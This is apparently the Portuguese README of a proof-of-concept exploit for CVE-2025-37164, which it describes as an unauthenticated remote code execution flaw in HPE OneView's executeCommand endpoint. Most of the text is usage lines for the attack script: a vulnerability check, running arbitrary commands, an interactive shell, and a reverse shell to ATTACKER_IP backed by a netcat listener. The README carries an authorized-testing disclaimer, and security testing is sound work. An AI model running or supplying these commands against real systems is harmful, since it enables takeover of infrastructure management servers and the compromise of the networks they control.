
PoC para CVE-2025-37164
Exploit de Prova de Conceito para CVE-2025-37164, uma vulnerabilidade crítica (CVSS 10.0) de execução remota de código não autenticada no HPE OneView.
ESTE SOFTWARE É FORNECIDO APENAS PARA FINS EDUCACIONAIS E DE TESTE DE SEGURANÇA AUTORIZADOS.
Análise Técnica: A vulnerabilidade existe no endpoint PUT /rest/id-pools/executeCommand que não requer autenticação e passa a entrada controlada pelo usuário diretamente para Runtime.exec().
requests (pip install requests)# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check
# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"
# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i
# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444